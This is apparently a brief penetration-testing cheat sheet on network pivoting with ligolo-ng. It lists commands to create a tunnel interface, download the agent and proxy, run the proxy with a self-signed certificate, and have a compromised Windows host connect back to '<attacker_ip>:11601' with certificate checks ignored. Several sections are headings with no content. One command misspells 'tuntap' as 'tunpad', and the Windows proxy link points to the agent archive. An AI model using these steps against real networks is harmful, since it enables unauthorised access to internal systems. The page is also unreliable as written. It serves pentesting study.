circle-nodesPivoting

Set everything up

# Add the Tunnel
sudo  ip tunpad add <USER> mode tun ligolo
# Set the Tunnel state to up
sudo ip link set ligolo up

Download Ligolo Agent and Proxy

# Download Ligolo agent 
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux   -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
# Download Ligolo Proxy
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux   -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz

Run the Ligolo proxy

# Run the proxy with the self certificate
./proxy -selfcert

Connect Agent to Attacker — Windows

# Connect to the attacker (Ignoring certificate)
ligolo-agent.exe -connect <attacker_ip>:11601 -ignore-cert

Connect Agent to Attacker — Linux

Select the session

Bring a port from SSH

Last updated